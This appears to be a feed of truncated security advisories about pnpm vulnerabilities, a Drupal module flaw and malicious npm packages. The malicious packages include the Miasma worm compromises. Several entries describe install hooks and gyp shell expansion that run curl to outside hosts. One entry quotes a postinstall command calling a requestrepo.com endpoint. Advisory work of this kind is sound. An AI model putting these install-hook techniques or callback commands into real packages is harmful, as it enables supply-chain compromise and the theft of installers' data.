CVE-2026-50015

pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm's patch application pipeline @pnpm/patch-package performs no path validation on file paths extracted from .patch files. An attacker who contributes a malicious patch file via a pull request can write attacker-controlled content to or...

CVE-2026-55697

pnpm is a package manager. Prior to 10.34.2 and 11.5.3, pnpm can install configDependencies declared in pnpm-workspace.yaml before command dispatch. Before the patch, a repository could declare pacquet or @pnpm/pacquet as a config dependency and pnpm treated that repository-controlled dependency ...

CVE-2026-55697 pnpm: Repository-controlled configDependencies can select a pacquet native install engine

pnpm is a package manager. Prior to 10.34.2 and 11.5.3, pnpm can install configDependencies declared in pnpm-workspace.yaml before command dispatch. Before the patch, a repository could declare pacquet or @pnpm/pacquet as a config dependency and pnpm treated that repository-controlled dependency ...

CVE-2026-55697

pnpm is vulnerable prior to 10.34.2 and 11.5.3: repository‑controlled configDependencies in pnpm-workspace.yaml could cause pnpm to install a repository‑controlled install‑engine (pacquet) by resolving a platform‑specific @pacquet/-/pacquet binary from node_modules/.pnpm-config and spawning it as...

CVE-2026-55697 pnpm: Repository-controlled configDependencies can select a pacquet native install engine

pnpm is a package manager. Prior to 10.34.2 and 11.5.3, pnpm can install configDependencies declared in pnpm-workspace.yaml before command dispatch. Before the patch, a repository could declare pacquet or @pnpm/pacquet as a config dependency and pnpm treated that repository-controlled dependency ...

MAL-2026-6463 Malicious code in abu-common-components (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 17e7b4ac8a492915d8475c73488b64236250746de410c705b7cc43c0656589be package.json declares preinstall and postinstall hooks that invoke curl against a hardcoded bare-IP HTTP endpoint...

MAL-2026-6451 Malicious code in simple-node-calc-a (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f9a86d4aeac1d4f5fc458b3058f4b13229cd2097c9d8e5cf3e4d45aa24980ad8 [email protected] advertises itself as a pure-JS calculator but ships a binding.gyp that triggers node-gyp automatically during npm install...

MAL-2026-6453 Malicious code in simple-node-calc-b (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 78b115418f82ef73f995f3bf6b0cb8bf50da516b56c691b76ccb939491d2b046 [email protected] ships a binding.gyp that includes a modules file declaring "lodash": "!node lodash-compiler.js". The gyp !... syntax execute...

MAL-2026-6452 Malicious code in simple-node-calc-aa (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7274769c1f72a3c00ec34290bd2e0dff85b9c41d6a85cfffc1b164b46280de72 Package advertises itself as a trivial arithmetic helper but ships a binding.gyp whose sources list uses gyp's !... shell expansion: "!node...

Malicious code in polymarket-stake-maths (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 657363aaa0b94385d30a26c1f4ee67923b0d877975850ad08f8364c2a901d8e7 On npm install, the package's postinstall script scripts/install-check.cjs fetches a JSON config from...

MAL-2026-6439 Malicious code in polymarket-stake-maths (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 657363aaa0b94385d30a26c1f4ee67923b0d877975850ad08f8364c2a901d8e7 On npm install, the package's postinstall script scripts/install-check.cjs fetches a JSON config from...

PT-2026-52517

Name of the Vulnerable Software and Affected Versions pnpm versions prior to 10.34.0 pnpm versions prior to 11.4.0 Description The tarball extraction worker in the pnpm package manager fails to perform integrity verification when the integrity field is missing from the lockfile resolution. This...

PT-2026-52522

Name of the Vulnerable Software and Affected Versions pnpm versions prior to 10.34.2 pnpm versions prior to 11.5.3 Description pnpm allows the installation of configDependencies declared in pnpm-workspace.yaml before command dispatch. A repository can declare pacquet or @pnpm/pacquet as a config...

Malicious code in leo-logger (npm)

The leo-logger npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...

MAL-2026-6420 Malicious code in leo-cdk-lib (npm)

The leo-cdk-lib npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...

MAL-2026-6428 Malicious code in leo-cron (npm)

The leo-cron npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...

DRUPAL-CONTRIB-2026-052

This module enables you to collect feedback from your site visitors on content pages, allowing them to optionally attach a free-text comment to their Yes/No vote. The module doesn't sufficiently verify authorization over the targeted feedback record when processing a comment submission. This...

MAL-2026-6390 Malicious code in cccmyssr-util (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99d23c8f1194f89f1b52e986cd57ca9c0fbd739a6565eb33c972f4fbaf0966e7 On npm install, the package's postinstall.js unconditionally executes exec'curl http://qvmjcw4s.requestrepo.com', sending an HTTP callback to a uniqu...

MAL-2026-6392 Malicious code in cccmyssr3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a15e77975be346fa9b834e50124784a6774b5385e47072ae80911f5eda92cabf On npm install, this package automatically runs postinstall.js, which executes curl -X POST with a body containing the installer's hostname $hostname...

MAL-2026-6394 Malicious code in hs-locale-management (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2adb7ba5ebcb66930ae574353088696c939ed6e677c12437e78de7166e96b932 Package self-identifies in package.json as a dependency-confusion proof-of-concept targeting HubSpot's internal hs-locale-management namespace,...